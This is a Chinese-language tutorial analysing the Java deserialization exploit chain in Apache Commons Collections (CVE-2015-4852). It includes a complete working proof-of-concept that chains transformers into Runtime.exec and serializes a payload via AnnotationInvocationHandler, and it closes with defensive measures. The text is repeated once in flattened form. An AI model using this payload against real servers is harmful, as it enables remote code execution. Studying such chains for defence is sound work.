JAVA反序列化 - Commons-Collections组件
字数 1702 2025-08-25 22:58:55

Java反序列化漏洞分析:Commons-Collections组件利用链详解

一、前言

Java反序列化漏洞是Java安全领域的重要议题,其中Apache Commons Collections组件(简称CC组件)的反序列化漏洞(CVE-2015-4852)是最经典的案例之一。本文将从基础开始,详细分析CC组件反序列化漏洞的利用链构造过程。

二、反序列化漏洞攻击流程

一个完整的反序列化漏洞攻击通常包含三个主要部分:

  1. Payload:需要让服务端执行的恶意代码(如执行系统命令)
  2. 反序列化利用链:服务端中存在的反序列化利用链,会层层解析恶意构造的exp
  3. readObject复写利用点:服务端中存在的可以触发漏洞链的readObject函数复写点

三、Commons-Collections组件简介

Apache Commons Collections是一个扩展了Java标准库Collection结构的第三方基础库,提供了许多强大的数据结构。其中关键功能是"Transforming decorators that alter each object as it is added to the collection"(转化装饰器:修改每一个添加到collection中的object)。

关键类:

  • org.apache.commons.collections.Transformer:定义对象转换逻辑的接口
  • TransformedMap:Map的扩展,可在元素加入时自动进行特定修饰变换

四、漏洞利用链分析

1. 核心类分析

InvokerTransformer类

public Object transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (NoSuchMethodException var5) {
            // 异常处理...
        }
    }
}

这是一个通过反射机制执行任意方法的转换器,是漏洞利用的关键点。

ChainedTransformer类

public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; ++i) {
        object = this.iTransformers[i].transform(object);
    }
    return object;
}

将多个Transformer串联执行,前一个Transformer的输出作为下一个的输入。

ConstantTransformer类

public Object transform(Object input) {
    return this.iConstant;
}

简单的常量转换器,始终返回预设的常量。

2. POC构造过程

基础POC

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", 
        new Class[]{String.class}, 
        new Object[]{"calc.exe"})
};

Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(null);

这段代码等效于执行:

Runtime.getRuntime().exec("calc.exe");

序列化问题解决

直接序列化Runtime实例会失败,因为Runtime类未实现Serializable接口。解决方案是通过反射链动态获取Runtime实例:

  1. 获取Runtime Class对象
  2. 反射调用getMethod获取getRuntime方法
  3. 反射调用invoke执行getRuntime方法获取Runtime实例
  4. 反射调用exec方法执行命令

封装为TransformedMap

Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

这样当修改Map的值时会自动触发转换链。

3. 触发点分析

AnnotationInvocationHandler类

在JDK1.7中,sun.reflect.annotation.AnnotationInvocationHandler类的readObject方法会遍历并修改Map的值,是完美的触发点。

关键代码:

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    var1.defaultReadObject();
    // ...
    Iterator var4 = this.memberValues.entrySet().iterator();
    while(var4.hasNext()) {
        Entry var5 = (Entry)var4.next();
        // ...
        var5.setValue(...);  // 触发点
    }
}

完整POC构造

// 构造转换链
Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

// 构造恶意Map
Map innerMap = new HashMap();
innerMap.put("value", "value");  // 必须为"value"
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

// 反射创建AnnotationInvocationHandler实例
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, outerMap);

// 序列化
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(instance);

4. 关键注意事项

  1. Map键名限制:必须使用"value"作为键名,因为AnnotationInvocationHandler会检查注解元素的名称,而@Target注解只有一个名为"value"的元素。

  2. JDK版本限制

    • 在Java 7的低版本和8u71之前可用
    • Java 8u71之后AnnotationInvocationHandler的readObject实现改变,不再直接修改Map值
  3. Runtime实例获取:不能直接序列化Runtime实例,必须通过反射链动态获取。

五、漏洞利用链总结

完整的利用链调用栈:

AnnotationInvocationHandler.readObject()
  -> TransformedMap.entrySet().iterator().next().setValue()
    -> TransformedMap.checkSetValue()
      -> ChainedTransformer.transform()
        -> ConstantTransformer.transform()  // 获取Runtime.class
        -> InvokerTransformer.transform()    // 获取getRuntime方法
        -> InvokerTransformer.transform()    // 调用getRuntime获取实例
        -> InvokerTransformer.transform()    // 调用exec执行命令

六、防御措施

  1. 升级Commons Collections组件到安全版本
  2. 使用JDK高版本(8u71及以上)
  3. 对反序列化操作进行白名单控制
  4. 使用安全框架如SerialKiller进行防护

七、扩展思考

  1. Commons Collections不同版本的利用链差异
  2. 其他反序列化利用链(如JDK原生类、其他第三方库)
  3. RMI等远程利用方式
  4. 绕过防御措施的方法

通过深入理解这条经典的CC链,可以为分析其他Java反序列化漏洞打下坚实基础。

Java反序列化漏洞分析:Commons-Collections组件利用链详解 一、前言 Java反序列化漏洞是Java安全领域的重要议题,其中Apache Commons Collections组件(简称CC组件)的反序列化漏洞(CVE-2015-4852)是最经典的案例之一。本文将从基础开始,详细分析CC组件反序列化漏洞的利用链构造过程。 二、反序列化漏洞攻击流程 一个完整的反序列化漏洞攻击通常包含三个主要部分: Payload :需要让服务端执行的恶意代码(如执行系统命令) 反序列化利用链 :服务端中存在的反序列化利用链,会层层解析恶意构造的exp readObject复写利用点 :服务端中存在的可以触发漏洞链的readObject函数复写点 三、Commons-Collections组件简介 Apache Commons Collections是一个扩展了Java标准库Collection结构的第三方基础库,提供了许多强大的数据结构。其中关键功能是"Transforming decorators that alter each object as it is added to the collection"(转化装饰器:修改每一个添加到collection中的object)。 关键类: org.apache.commons.collections.Transformer :定义对象转换逻辑的接口 TransformedMap :Map的扩展,可在元素加入时自动进行特定修饰变换 四、漏洞利用链分析 1. 核心类分析 InvokerTransformer类 这是一个通过反射机制执行任意方法的转换器,是漏洞利用的关键点。 ChainedTransformer类 将多个Transformer串联执行,前一个Transformer的输出作为下一个的输入。 ConstantTransformer类 简单的常量转换器,始终返回预设的常量。 2. POC构造过程 基础POC 这段代码等效于执行: 序列化问题解决 直接序列化Runtime实例会失败,因为Runtime类未实现Serializable接口。解决方案是通过反射链动态获取Runtime实例: 获取Runtime Class对象 反射调用getMethod获取getRuntime方法 反射调用invoke执行getRuntime方法获取Runtime实例 反射调用exec方法执行命令 封装为TransformedMap 这样当修改Map的值时会自动触发转换链。 3. 触发点分析 AnnotationInvocationHandler类 在JDK1.7中, sun.reflect.annotation.AnnotationInvocationHandler 类的readObject方法会遍历并修改Map的值,是完美的触发点。 关键代码: 完整POC构造 4. 关键注意事项 Map键名限制 :必须使用"value"作为键名,因为AnnotationInvocationHandler会检查注解元素的名称,而@Target注解只有一个名为"value"的元素。 JDK版本限制 : 在Java 7的低版本和8u71之前可用 Java 8u71之后AnnotationInvocationHandler的readObject实现改变,不再直接修改Map值 Runtime实例获取 :不能直接序列化Runtime实例,必须通过反射链动态获取。 五、漏洞利用链总结 完整的利用链调用栈: 六、防御措施 升级Commons Collections组件到安全版本 使用JDK高版本(8u71及以上) 对反序列化操作进行白名单控制 使用安全框架如SerialKiller进行防护 七、扩展思考 Commons Collections不同版本的利用链差异 其他反序列化利用链(如JDK原生类、其他第三方库) RMI等远程利用方式 绕过防御措施的方法 通过深入理解这条经典的CC链,可以为分析其他Java反序列化漏洞打下坚实基础。